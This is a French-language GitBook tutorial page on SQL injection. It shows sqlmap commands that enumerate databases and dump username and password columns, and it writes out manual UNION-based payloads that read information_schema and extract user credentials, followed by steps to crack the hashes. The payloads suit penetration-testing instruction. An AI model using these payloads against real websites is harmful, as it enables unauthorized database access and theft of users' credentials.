> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).

# Injection SQL avec SQLMap et tests manuels

{% hint style="info" %}
Un **Injection SQL** est une vulnérabilité de sécurité dans les applications web qui survient lorsque des requêtes SQL malveillantes sont insérées dans des champs de saisie afin de manipuler une base de données sous-jacente. Cela permet à un attaquant d'accéder à des données non autorisées, de les modifier ou de les filtrer. Des outils comme SQLMap automatisent ce processus en identifiant et en exploitant de telles vulnérabilités, en réalisant des injections SQL de manière automatisée. Sinon, les attaquants peuvent également effectuer des attaques par injection SQL manuellement en manipulant directement des entrées pour obtenir un accès non autorisé à la base de données.
{% endhint %}

## Injection SQL automatisée (SQLMap)

1. Interceptons une requête de recherche avec Burp Suite :

<figure><img src="/files/01967433282c4ae314d5605ff9df1e7498e0f511" alt=""><figcaption></figcaption></figure>

2. Enregistrons cette requête dans un fichier que nous appellerons **request.req**:

<figure><img src="/files/fefdf9a803b9e02049e5fccca2f05afa8778f1d6" alt="" width="563"><figcaption></figcaption></figure>

3. Le fichier contient les **contenus**:

<figure><img src="/files/efb0fd52824057de91fb27e38210496a44486f9d" alt="" width="563"><figcaption></figcaption></figure>

4. Avec l’ **SQLMap** outil, exécutons la commande suivante pour voir si ce site web est **vulnérable** sensible à une **attaque SQL**:

```bash
sqlmap -r request.req  -p searchitem --batch  
```

<figure><img src="/files/cb8cbfe3604460394cd846b2e370c4ced0ed2d10" alt=""><figcaption></figcaption></figure>

5. Avec cette commande, listons toutes les **bases de données**:

```bash
sqlmap -r request.req  -p searchitem --batch --dbs
```

<figure><img src="/files/cf6a8207c4e84f08637cc0c1bb789d929f2f0b98" alt="" width="563"><figcaption></figcaption></figure>

6. Avec cette commande, listons toutes les **tables** d'une base de données spécifique :

```bash
sqlmap -r request.req  -p searchitem --batch -D "database_name" --tables
```

<figure><img src="/files/31c198ecc341b2c152dcb4f876f088895c825e3b" alt="" width="563"><figcaption></figcaption></figure>

7. Avec cette commande, listons toutes les **colonnes** d'une table spécifique :

```bash
sqlmap -r request.req  -p searchitem --batch -T "table_name" --columns
```

<figure><img src="/files/5bb5f8d67ce6aea305ae4511bb62113a63739c26" alt=""><figcaption></figcaption></figure>

8. Avec cette commande, visualisons le **contenus** des colonnes :

```bash
sqlmap -r request.req  -p searchitem --batch -T users -C username,password --dump
```

*Si l'outil trouve des mots de passe chiffrés, il les déchiffre automatiquement*:

<figure><img src="/files/bb234b6bc87104c4e2d0c07b0e5e38f73a3cb57e" alt="" width="563"><figcaption></figcaption></figure>

***

## Injection SQL manuelle

1. Interceptons une requête de recherche avec Burp Suite :

<figure><img src="/files/01967433282c4ae314d5605ff9df1e7498e0f511" alt=""><figcaption></figcaption></figure>

2. Envoyez cette requête à **Repeater**:
3. Dans le **searchitem** champ de recherche, ajoutez ceci :

```bash
test' order by 100-- -
```

4. Le serveur web nous indique qu'il y a **pas autant de colonnes**:

<figure><img src="/files/95902ed8b1652cb202932e0152d99aaa7a3d84b0" alt="" width="563"><figcaption></figcaption></figure>

5. Essayons **jusqu'à ce qu'il ne reste plus rien** (dans ce cas, il y a 5 colonnes) :

<figure><img src="/files/7e1208eefeac73990fb428c3f19fde9b73bef9b8" alt="" width="563"><figcaption></figcaption></figure>

6. Nous savons maintenant qu'il y **a 5 colonnes**, maintenant avec la **union** fonction, nous allons **afficher** les :

```arduino
test' union select 1,2,3,4,5-- -
```

<figure><img src="/files/92172b0e40fa4ec516ad4e16e76af5eef07f0a6b" alt="" width="563"><figcaption></figcaption></figure>

* En cas de **changement du nom** de la 3e colonne, par exemple "test", cela **changera aussi**:

<figure><img src="/files/25de84acd2c841b44c8cbe201ea507024c64e6c5" alt="" width="563"><figcaption></figcaption></figure>

7. Cela signifie que si nous introduisons la **database()** ou **user()** fonction, le **nom de la base de données** ou le **nom d'utilisateur exécutant la base de données** sera affiché :

<figure><img src="/files/2086175b302c4f3711daf8870bbe05e06eb42412" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/8f0ab128c47ce0e4194ae253562e5d4eceb8e6cb" alt="" width="563"><figcaption></figcaption></figure>

**CI-DESSOUS SE TROUVE LA PROCÉDURE POUR LE LISTAGE MANUEL :**

1. Listons toutes les **bases de données**:

```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```

<figure><img src="/files/ef223c26a4ef5d5838342c4feb81b96de349b9c3" alt=""><figcaption></figcaption></figure>

2. Listons tous **tables** d'une base de données spécifique :

```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```

<figure><img src="/files/9753c5bf140b340fbace498f3cf9d2c8a325ff32" alt=""><figcaption></figcaption></figure>

3. Listons tous **colonnes** d'une table spécifique :

```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```

<figure><img src="/files/c9c9ac00ade88850192b5f325cb25acdc995cc2d" alt=""><figcaption></figcaption></figure>

4. Visualisons les **contenus des colonnes username et password** (dans ce cas, nous utilisons les colonnes "product name" et "product type") :

```arduino
test' union select 1,username,password,4,5 from users-- -
```

<figure><img src="/files/a99ebc57d53bacea62c8b1455ed23978da4efdb1" alt=""><figcaption></figcaption></figure>

* Listons les **contenus des colonnes username et password** à nouveau :

```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```

<figure><img src="/files/bc70c4d8532e68a0916d02716392564e3b956041" alt=""><figcaption></figcaption></figure>

5. **Copions le contenu** dans la section Pretty de Burp Suite :

<div data-full-width="true"><figure><img src="/files/338c15f831377cef34ebcde200a3fbcc73175022" alt=""><figcaption></figcaption></figure></div>

6. Ouvrons l'éditeur de texte **Nvim** et collons le texte copié, puis utilisons cette commande pour le formater correctement : `:%s/,//r/g`
7. Avec cette commande, conservons uniquement les hachages et copions-les dans le **presse-papiers**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`

<figure><img src="/files/71037265e768cfbbd28be1e170bbc528e4e72910" alt="" width="563"><figcaption></figcaption></figure>

8. Enfin, avec le [Hashes.com](https://hashes.com/en/decrypt/hash) site web, obtenez les mots de passe en **texte clair**:

<figure><img src="/files/2dcea85b8826ddc5ac05e961fe9f9690a6eb20dd" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
